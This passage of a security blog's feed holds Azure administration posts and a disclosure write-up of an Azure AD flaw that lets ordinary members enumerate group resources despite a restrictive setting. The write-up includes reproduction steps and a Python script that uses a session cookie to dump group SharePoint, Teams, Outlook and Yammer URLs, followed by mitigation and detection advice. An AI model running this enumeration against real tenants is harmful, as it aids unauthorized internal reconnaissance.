them:</p> <ul> <li>The <i>Update</i> table represents updates available and their installation status for a machine. This is table we will mainly use.</li> <li>The <i>UpdateRunProgress</i> table provides update deployment status of a scheduled deployment by machine. It will show the status of update deployments i.e. whether it was successful or not.</li> <li>The <i>UpdateSummary</i> table provides update summary by machine. This is some sort of agregrate of the Update table.</li> </ul> <p>You can find some query examples using these tables in the <a href="https://learn.microsoft.com/en-us/azure/automation/update-management/query-logs">Microsoft documentation</a>.</p>]]></content><author><name>Molx32</name></author><category term="updatemanagement"/><summary type="html"><![CDATA[This post is describes the architecture of the solution]]></summary></entry><entry><title type="html">Azure security - Internal recon leveraging lack of access control</title><link href="https://cyber-intruder.com/blog/2023/Azure-access-panel-lack-of-access-control/" rel="alternate" type="text/html" title="Azure security - Internal recon leveraging lack of access control"/><published>2023-02-02T11:00:00+01:00</published><updated>2023-02-02T11:00:00+01:00</updated><id>https://cyber-intruder.com/blog/2023/Azure-access-panel-lack-of-access-control</id><content type="html" xml:base="https://cyber-intruder.com/blog/2023/Azure-access-panel-lack-of-access-control/"><![CDATA[<p>I recently reported to Microsoft MSRC an issue that is, from my point of view, a low-severity vulnerability that allows ‘Members’ of Azure AD tenant to enumerate group-related resources, despite hardening Azure AD settings. This could be leveraged by an attacker during internal recon phase.</p> <h3 id="context">Context</h3> <h4 id="azure-ad-setting">Azure AD setting</h4> <p>When configuring Azure AD, there are common features and settings that are usually hardened to restrict users permissions. One of these settings is <b>Restrict user ability to access groups features in the Access Panel</b>. This is used to prevent the access to the <a href="https://account.activedirectory.windowsazure.com/r#/groups">Access Panel groups feature</a>, and thus prevent them from enumerating groups, send request to join groups, and access groups-related information. As MSRC answered when I reported the issue : <i>The tenant wide setting, “Restrict user ability to access groups features in the Access Panel” controls users access to the My Groups UI.</i>. This is what we can leverage to improve Azure recon.</p> <h4 id="about-groups-in-azure-ad">About groups in Azure AD</h4> <p>But first of all, a small talk about groups in Azure AD. There are multiple, and here are their description (I have shamelessly copied from <a href="https://learn.microsoft.com/en-us/microsoft-365/admin/create-groups/compare-groups?view=o365-worldwide">MS docs</a>) :</p> <ul> <li><b>Security groups</b> - <i>Used for granting access to resources such as SharePoint sites.</i></li> <li><b>M365 Groups</b> - <i>Used for collaboration between users, both inside and outside your company. They include collaboration services such as SharePoint and Planner.</i></li> <li><b>Mail-enabled security groups</b> - <i>Used for granting access to resources such as SharePoint, and emailing notifications to those users.</i></li> <li><b>Shared mailboxes</b> - <i>Used when multiple people need access to the same mailbox, such as a company information or support email address.</i></li> <li><b>Dynamic distribution groups</b> - <i>Created to expedite the mass sending of email messages and other information within an organization.</i></li> <li><b>Distribution groups</b> - <i>Used for sending email notifications to a group of people</i> Note that when a Microsoft 365 Group is created, associated resources usually come with it.</li> </ul> <p>There are multiple common methods to create a group, and depending on how you do, visibility could be set on ‘Public’ :</p> <ul> <li>Using the <a href="https://portal.azure.com">Azure portal</a>, you can create both security and M365 groups. Note that using this will cause M365 groups to be private, which is a good thing.</li> <li>Using the Azure CLI command <b>az group create</b> only allows you to create private security groups.</li> <li>Using the <b>New-MsolGroup</b> only allows you to create private security groups.</li> <li>Using <b>New-AzADGroup</b> command allows to create all kinds of groups with the specified visibility for M365 groups</li> </ul> <p>The last common method is using the <a href="https://admin.microsoft.com">M365 Admin portal</a>. As shown on the picture below, the default visibility is Public. The truth is administrator should properly configure this, but they sometimes don’t, especially when groups were created a few years ago, when security was not one of the biggest concerns for companies.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/MS_vuln_05-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/MS_vuln_05-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/MS_vuln_05-1400.webp"/> <img src="/assets/img/MS_vuln_05.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h3 id="why-is-it-interesting-for-an-attacker">Why is it interesting for an attacker?</h3> <p>As shown on the scheme, based on the Azure AD configuration, an attacker could enumerate interesting resources (SharePoint, Yammer, Teams, Outlook group email) and add themselves to public groups without requiring access in order to receive emails sent to the associated email address.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/MS_vuln_04-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/MS_vuln_04-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/MS_vuln_04-1400.webp"/> <img src="/assets/img/MS_vuln_04.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <h4 id="behavior-when-configured-on-no-permissive">Behavior when configured on No (permissive)</h4> <p>When the setting is configured to be permissive, any non-privileged user can access the following data :</p> <ul> <li>List of groups</li> <li>List of resources associated to groups : Outlook, SharePoint, Yammer, Teams</li> <li>List of people member of groups</li> </ul> <p>Administrators may want to disable this feature to prevent users seing this data. <u>Note</u> : Guest users can not see this by default.</p> <div class="col-sm mt-3 mt-md-0"> <iframe width="560" height="315" src="https://www.youtube.com/embed/O8qMV-Besw8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen=""></iframe> </div> <h4 id="behavior-when-configured-on-yes-restrictive">Behavior when configured on Yes (restrictive)</h4> <p>When the setting is configured to be restrictive, there is an error page that prevents group and group resource enumeration. The first picture shows Azure AD with the setting set on Yes.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/MS_vuln_01-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/MS_vuln_01-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/MS_vuln_01-1400.webp"/> <img src="/assets/img/MS_vuln_01.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <p>This second picture shows the user who can no longer access to the group feature in the Access Panel.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/MS_vuln_02-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/MS_vuln_02-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/MS_vuln_02-1400.webp"/> <img src="/assets/img/MS_vuln_02.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div> <hr/> <h3 id="the-issue">The issue</h3> <h4 id="poc">POC</h4> <p>To reproduce the issue :</p> <ol> <li>As an administrator, set the <b>Restrict user ability to access groups features in the Access Panel</b> setting on <b>Yes</b></li> <li>Authenticate as a non-privileged user</li> <li>Get a group GUID</li> <li>Access the following URL : <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://account.activedirectory.windowsazure.com/r#/manageMembership?objectType=Group&amp;objectId=&lt;GUID&gt;
</code></pre></div> </div> </li> </ol> <div class="col-sm mt-3 mt-md-0"> <iframe width="560" height="315" src="https://www.youtube.com/embed/NgG_SMecn9k" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen=""></iframe> </div> <h4 id="automation">Automation</h4> <p>Here is a probably not optimized piece of code that takes a cookie as input, and generates a CSV with all group resources URLs.</p> <figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="n">subprocess</span>
<span class="kn">import</span> <span class="n">sys</span>
<span class="kn">import</span> <span class="n">csv</span>
<span class="kn">import</span> <span class="n">requests</span>
<span class="kn">import</span> <span class="n">json</span>

<span class="c1"># Used to invoke Azure CLI commands
</span><span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
    <span class="n">completed</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="nf">run</span><span class="p">([</span><span class="sh">"</span><span class="s">powershell</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">-Command</span><span class="sh">"</span><span class="p">,</span> <span class="n">cmd</span><span class="p">],</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">completed</span>

<span class="c1"># Used to export findings into CSV
</span><span class="k">def</span> <span class="nf">write_header</span><span class="p">():</span>
    <span class="n">s</span> <span class="o">=</span> <span class="sh">'</span><span class="s">Id,DisplayName,JoinPolicy,SharePointUrl,TeamsUrl,OutlookUrl,YammerUrl</span><span class="se">\n</span><span class="sh">'</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">'</span><span class="s">results.csv</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">a</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">result_file</span><span class="p">:</span>
        <span class="n">result_file</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
<span class="c1"># Used to write line into CSV
</span><span class="k">def</span> <span class="nf">write_line</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="n">json_data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="nf">loads</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="n">json_data</span><span class="p">)</span>
    <span class="n">s</span> <span class="o">=</span> <span class="nf">str</span><span class="p">(</span><span class="n">json_data</span><span class="p">[</span><span class="sh">'</span><span class="s">Id</span><span class="sh">'</span><span class="p">])</span> <span class="o">+</span> <span class="sh">'</span><span class="s">,</span><span class="sh">'</span> <span class="o">+</span> <span class="nf">str</span><span class="p">(</span><span class="n">json_data</span><span class="p">[</span><span class="sh">'</span><span class="s">DisplayName</span><span class="sh">'</span><span class="p">])</span> <span class="o">+</span> <span class="sh">'</span><span class="s">,</span><span class="sh">'</span> <span class="o">+</span> <span class="nf">str</span><span class="p">(</span><span class="n">json_data</span><span class="p">[</span><span class="sh">'</span><span class="s">JoinPolicy</span><span class="sh">'</span><span class="p">])</span> <span class="o">+</span> <span class="sh">'</span><span class="s">,</span><span class="sh">'</span> <span class="o">+</span> <span class="nf">str</span><span class="p">(</span><span class="n">json_data</span><span class="p">[</span><span class="sh">'</span><span class="s">SharePointUrl</span><span class="sh">'</span><span class="p">])</span> <span class="o">+</span> <span class="sh">'</span><span class="s">,</span><span class="sh">'</span> <span class="o">+</span> <span class="nf">str</span><span class="p">(</span><span class="n">json_data</span><span class="p">[</span><span class="sh">'</span><span class="s">TeamsUrl</span><span class="sh">'</span><span class="p">])</span> <span class="o">+</span> <span class="sh">'</span><span class="s">,</span><span class="sh">'</span> <span class="o">+</span> <span class="nf">str</span><span class="p">(</span><span class="n">json_data</span><span class="p">[</span><span class="sh">'</span><span class="s">OutlookUrl</span><span class="sh">'</span><span class="p">])</span> <span class="o">+</span> <span class="sh">'</span><span class="s">,</span><span class="sh">'</span> <span class="o">+</span> <span class="nf">str</span><span class="p">(</span><span class="n">json_data</span><span class="p">[</span><span class="sh">'</span><span class="s">YammerUrl</span><span class="sh">'</span><span class="p">])</span> <span class="o">+</span> <span class="sh">'</span><span class="se">\n</span><span class="sh">'</span>
    
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">'</span><span class="s">results.csv</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">a</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">result_file</span><span class="p">:</span>
        <span class="n">result_file</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>

<span class="c1"># Used to fecth and parse data
</span><span class="k">def</span> <span class="nf">retrieve_data</span><span class="p">(</span><span class="n">cookie</span><span class="p">,</span> <span class="n">guid</span><span class="p">):</span>
    <span class="n">url_base</span> <span class="o">=</span> <span class="sh">"</span><span class="s">https://account.activedirectory.windowsazure.com</span><span class="sh">"</span>
    <span class="n">url_path</span> <span class="o">=</span> <span class="sh">"</span><span class="s">/group/DetailsData/</span><span class="sh">"</span>

    <span class="c1"># Final values
</span>    <span class="n">url</span> <span class="o">=</span> <span class="n">url_base</span> <span class="o">+</span> <span class="n">url_path</span> <span class="o">+</span> <span class="n">guid</span>
    <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
        <span class="sh">'</span><span class="s">Cache-Control</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">max-age=0</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Sec-Ch-Ua</span><span class="sh">'</span><span class="p">:</span><span class="sh">'"</span><span class="s">Opera</span><span class="sh">"</span><span class="s">;v=</span><span class="sh">"</span><span class="s">93</span><span class="sh">"</span><span class="s">, </span><span class="sh">"</span><span class="s">Not/A)Brand</span><span class="sh">"</span><span class="s">;v=</span><span class="sh">"</span><span class="s">8</span><span class="sh">"</span><span class="s">, </span><span class="sh">"</span><span class="s">Chromium</span><span class="sh">"</span><span class="s">;v=</span><span class="sh">"</span><span class="s">107</span><span class="sh">"'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Sec-Ch-Ua-Mobile</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">?0</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Sec-Ch-Ua-Platform</span><span class="sh">'</span><span class="p">:</span><span class="sh">'"</span><span class="s">Windows</span><span class="sh">"'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Upgrade-Insecure-Requests</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">1</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">User-Agent</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 OPR/93.0.0.0</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Accept</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Sec-Fetch-Site</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">none</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Sec-Fetch-Mode</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">navigate</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Sec-Fetch-User</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">?1</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Sec-Fetch-Dest</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">document</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Accept-Encoding</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">gzip, deflate</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Accept-Language</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">en-US,en;q=0.9</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">Connection</span><span class="sh">'</span><span class="p">:</span><span class="sh">'</span><span class="s">close</span><span class="sh">'</span>
    <span class="p">}</span>

    <span class="n">cookies</span> <span class="o">=</span> <span class="p">{</span><span class="sh">'</span><span class="s">.AspNet.Cookies</span><span class="sh">'</span><span class="p">:</span> <span class="n">cookie</span><span class="p">}</span>

    <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">cookies</span><span class="o">=</span><span class="n">cookies</span><span class="p">)</span>
    <span class="n">data</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">content</span><span class="p">.</span><span class="nf">decode</span><span class="p">().</span><span class="nf">splitlines</span><span class="p">()[</span><span class="mi">1</span><span class="p">]</span>
    <span class="k">return</span> <span class="n">data</span>
    



<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">'</span><span class="s">__main__</span><span class="sh">'</span><span class="p">:</span>

    <span class="c1"># Handle cookie argument.
</span>    <span class="c1"># The '.AspNet.Cookies' must not be passed, only the hash value
</span>    <span class="n">cookie</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">cookie</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">'</span><span class="s">Error with provided arguments</span><span class="se">\n</span><span class="s">Example: python3 enumerate.py 1EMV2FJC_E_cwrBkZIu_ufEP[...]]7v3Lw</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>


    <span class="c1"># Shoud be done with az ad group list
</span>    <span class="n">export_groups_cmd</span> <span class="o">=</span> <span class="sh">"</span><span class="s">az login; az ad group list &gt; groups.tmp</span><span class="sh">"</span>

    <span class="c1"># CONNECT MSOL
</span>    <span class="n">r</span> <span class="o">=</span> <span class="nf">run</span><span class="p">(</span><span class="n">cmd</span><span class="o">=</span><span class="n">export_groups_cmd</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">r</span><span class="p">.</span><span class="n">returncode</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">An error occured: %s</span><span class="sh">"</span><span class="p">,</span> <span class="n">r</span><span class="p">.</span><span class="n">stderr</span><span class="p">)</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="n">export_groups_cmd</span> <span class="o">+</span> <span class="sh">"</span><span class="s"> command executed successfully!</span><span class="sh">"</span><span class="p">)</span>

    <span class="c1"># Parse JSON
</span>    <span class="c1"># Read file
</span>    <span class="n">data</span> <span class="o">=</span> <span class="bp">None</span>
    <span class="k">with</span> <span class="nf">open</span><span class="p">(</span><span class="sh">"</span><span class="s">groups.tmp</span><span class="sh">"</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="sh">'</span><span class="s">utf-16</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">data_file</span><span class="p">:</span>
        <span class="nf">write_header</span><span class="p">()</span>
        <span class="n">groups</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="nf">load</span><span class="p">(</span><span class="n">data_file</span><span class="p">)</span>
        <span class="k">for</span> <span class="n">group</span> <span class="ow">in</span> <span class="n">groups</span><span class="p">:</span>
            <span class="n">data</span> <span class="o">=</span> <span class="nf">retrieve_data</span><span class="p">(</span><span class="n">cookie</span><span class="p">,</span> <span class="n">group</span><span class="p">[</span><span class="sh">'</span><span class="s">id</span><span class="sh">'</span><span class="p">])</span>
            <span class="nf">write_line</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>

    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">*** FILE results.csv CREATED ***</span><span class="sh">"</span><span class="p">)</span></code></pre></figure> <p>See the video to look at how to use it easily.</p> <div class="col-sm mt-3 mt-md-0"> <iframe width="560" height="315" src="https://www.youtube.com/embed/vKPkMWrkkf8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen=""></iframe> </div> <hr/> <h3 id="remediate-and-detect">Remediate and detect</h3> <h4 id="mitigation">Mitigation</h4> <p>To be clear, there’s no reliable mitigation. The only thing I identified is the configuration of the <b>UsersPermissionToReadOtherUsersEnabled</b> feature to <b>false</b>, using the command below. According to Microsoft documentation, this settings <i>“Indicates whether to allow users to view the profile info of other users in their company. This setting is applied company-wide. Set to $False to disable users’ ability to use the Azure AD module for Windows PowerShell to access user information for their organization.”</i>.</p> <figure class="highlight"><pre><code class="language-powershell" data-lang="powershell"><span class="n">Set-MsolCompanySettings</span><span class="w"> </span><span class="nt">-UsersPermissionToReadOtherUsersEnabled</span><span class="w"> </span><span class="bp">$false</span></code></pre></figure> <p>Also, you may have noticed that non privileged users are allowed to use tools such as Azure CLI. This can’t be mitigated for Azure CLI, however you can disable the use of Msol module using this command.</p> <figure class="highlight"><pre><code class="language-powershell" data-lang="powershell"><span class="n">Disable-AADIntTenantMsolAccess</span></code></pre></figure> <h4 id="detection">Detection</h4> <p>Altough this can’t be mitigated, you can still detect it though Azure AD non-interactive signin logs to the <b>Microsoft App Access Panel</b> application. Just send this to Microsoft Sentinel, and create a detection rule to raise an alert when multiple attempts are performed from the same user in a short timeframe.</p> <div class="col-sm mt-3 mt-md-0"> <figure> <picture> <source class="responsive-img-srcset" media="(max-width: 480px)" srcset="/assets/img/MS_vuln_06-480.webp"/> <source class="responsive-img-srcset" media="(max-width: 800px)" srcset="/assets/img/MS_vuln_06-800.webp"/> <source class="responsive-img-srcset" media="(max-width: 1400px)" srcset="/assets/img/MS_vuln_06-1400.webp"/> <img src="/assets/img/MS_vuln_06.png" class="img-fluid rounded z-depth-1" width="auto" height="auto" onerror="this.onerror=null; $('.responsive-img-srcset').remove();"/> </picture> </figure> </div>]]></content><author><name>Molx32</name></author><category term="pentest"/><category term="azure"/><summary type="html"><![CDATA[A non critical lack of access control in Azure Identity API makes easier SharePoint sites enumeration.]]></summary></entry><entry><title type="html">Azure Update Management - Part 4 - Log Analytics agents</title><link href="https://cyber-intruder.com/blog/2022/Update-management-03/" rel="alternate" type="text/html" title="Azure Update Management - Part 4 - Log Analytics agents"/><published>2022-09-02T12:00:00+02:00</published><updated>2022-09-02T12:00:00+02:00</updated><id>https://cyber-intruder.com/blog/2022/Update-management-03</id><content type="html" xml:base="https://cyber-intruder.com/blog/2022/Update-management-03/"><![CDATA[<p><i>Hello there, the goal of this serie is to describe a real world implementation of <b>Azure Update Management</b>. This service was designed to update any machine in your infrastructure, whether they are hosted on Azure or elsewhere, provided your OSs are technically supported.</i></p> <p><i>In order for every reader to understand and find answers to their need, to I’ll try to give a comprehensive feedback from my experience, as well as sharing tips about design and architecture, automation, effectivement, troubleshooting issues, and so on!</i></p> <p><i>Have a nice reading.</i></p> <hr/> <h4 id="plan">Plan</h4> <ul> <li><a href="/blog/2022/Update-management-00/">Part 0 - Introduction</a></li> <li><a href="/blog/2022/Update-management-01/">Part 1 - Architecture</a></li> <li><a href="/blog/2022/Update-management-011/">Part 2 - Azure Policy</a></li> <li><a href="/blog/2022/Update-management-02/">Part 3 - Azure ARC</a></li> <li><b><a href="/blog/2022/Update-management-03/">Part 4 - Log Analytics agents (you’re here)</a></b></li> <li><a href="/blog/2023/Update-management-04/">Part 5 - Automation accounts</a></li> <li><a href="/blog/2023/Update-management-05/">Part 6 - Monitoring</a></li> <li><a href="/blog/2023/Update-management-06/">Part 7 - Security patches on Azure ARC</a></li> <li><a href="/blog/2023/Update-management-07/">Part 8 - Security patches on CentOS machines</a></li> </ul> <hr/> <h2 id="introduction">Introduction</h2> <p>In the previous post, we saw how to deploy Azure ARC. Now that all our machines are ready to be onboarded on the solution, let’s take a closer look at the core architecture, begining with Log Analytics.</p> <h2 id="log-analytics-workspaces">Log Analytics workspaces</h2> <h3 id="useful-information">Useful information</h3> <p>The Log Analytics service was designed to store logs for a defined period of time (retention). You can retrieve these logs by sending queries to the Log Analytics using a powerful language named Kusto Query Language (KQL). If you have monitoring routines, you can save queries as <b>Saved Searches</b> : this is important for the next part. The last thing that is useful to know in the context of this project is about billing : billing should be always configured on a Pay-As-You-Go basis when first deploying the resource (it can be changed later).</p> <h3 id="arm-template">ARM template</h3> <p>The Log Analytics workspace looks like this in an ARM object. We have the main object which is the Log Analytics, and we have a child object which is a <b>savedSearches</b>. There are some properties like “feature” that are mandatory but we can ignore, I already told you about the most important ones.</p> <figure class="highlight"><pre><code class="language-json" data-lang="json"><span class="p">{</span><span class="w">
  </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Microsoft.OperationalInsights/workspaces"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"apiVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2020-08-01"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[parameters('workspaceName')]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"location"</span><span class="p">:</span><span class="w"> </span><span class="s2">"westeurope"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"properties"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"sku"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[parameters('sku')]"</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"retentionInDays"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[parameters('dataRetention')]"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"features"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"searchVersion"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
          </span><span class="nl">"legacy"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="w">
      </span><span class="p">}</span><span class="w">
  </span><span class="p">},</span><span class="w">
  </span><span class="nl">"resources"</span><span class="p">:</span><span class="w"> </span><span class="p">[{</span><span class="w">
      </span><span class="nl">"apiVersion"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2020-08-01"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"savedSearches"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[variables('saved_search')]"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"dependsOn"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
          </span><span class="s2">"[concat('Microsoft.OperationalInsights/workspaces/', parameters('workspaceName'))]"</span><span class="w">
      </span><span class="p">],</span><span class="w">
      </span><span class="nl">"properties"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
          </span><span class="nl">"category"</span><span class="p">:</span><span class="w"> </span><span class="s2">"UpdateManagement"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"displayName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[variables('saved_search')]"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"functionAlias"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
          </span><span class="nl">"functionParameters"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
          </span><span class="nl">"query"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Heartbeat | where Computer contains 'a-string-that-cant-be-matched' | distinct Computer"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"tags"</span><span class="p">:</span><span class="w"> </span><span class="p">[{</span><span class="w">
              </span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Group"</span><span class="p">,</span><span class="w">
              </span><span class="nl">"value"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Computer"</span><span class="w">
          </span><span class="p">}],</span><span class="w">
          </span><span class="nl">"version"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="w">
      </span><span class="p">}</span><span class="w">
  </span><span class="p">}]</span><span class="w">
</span><span class="p">}</span></code></pre></figure> <h2 id="log-analytics-agents">Log Analytics agents</h2> <h3 id="about-microsoft-agents">About Microsoft agents</h3> <p>Let’s take some time to talk about Microsoft agents, because I know this is often confusing. There is a <a href="https://learn.microsoft.com/en-us/azure/azure-monitor/agents/agents-overview">Microsoft documentation</a> page that will help you understand all of this. There are three main agents :</p> <ul> <li>Azure Monitoring Agent (AMA) - This is the most recent agent that was developed by Microsoft. For this reason, you’ll probably read about this agent since it is going to support most of the Azure services.</li> <li>Log Analytics Agent - This is the historic agent that will be replaced with the AMA. Altough it will reach end of support on August 2024, this is currently the agent to use to enable the Update Management service. Also, keep in mind that there is a new version of the Update Management service that works differently from what I describe in this serie, and that currently prevents to patch machines in a very flexible and dynamic way i.e. we can’t patch machines based on their tags.</li> <li>Diagnostics extension (WAD &amp; LAD) - This last agent works with an Azure extension that will collect many information from the system and allow you to monitor them. It could be useful to use this agent rather than the others if you need to monitor only Syslog and Performance (on Linux) for instance.</li> </ul> <p><u>Note</u> : LAD stands for something like Linux Azure Diagnostic and WAD for Windows Azure Diagnostic.</p> <table id="custom" class="t-border"> <caption style="text-align:center"><b>For Windows machines</b></caption> <tr> <th style="text-align:center"></th> <th style="text-align:center">Azure Monitor Agent</th> <th style="text-align:center">Log Analytics Agent</th> <th style="text-align:center">Diagnostics extension (WAD)</th> </tr> <tr> <td><b>Data collected</b></td> <td style="text-align:center"></td> <td style="text-align:center"></td> 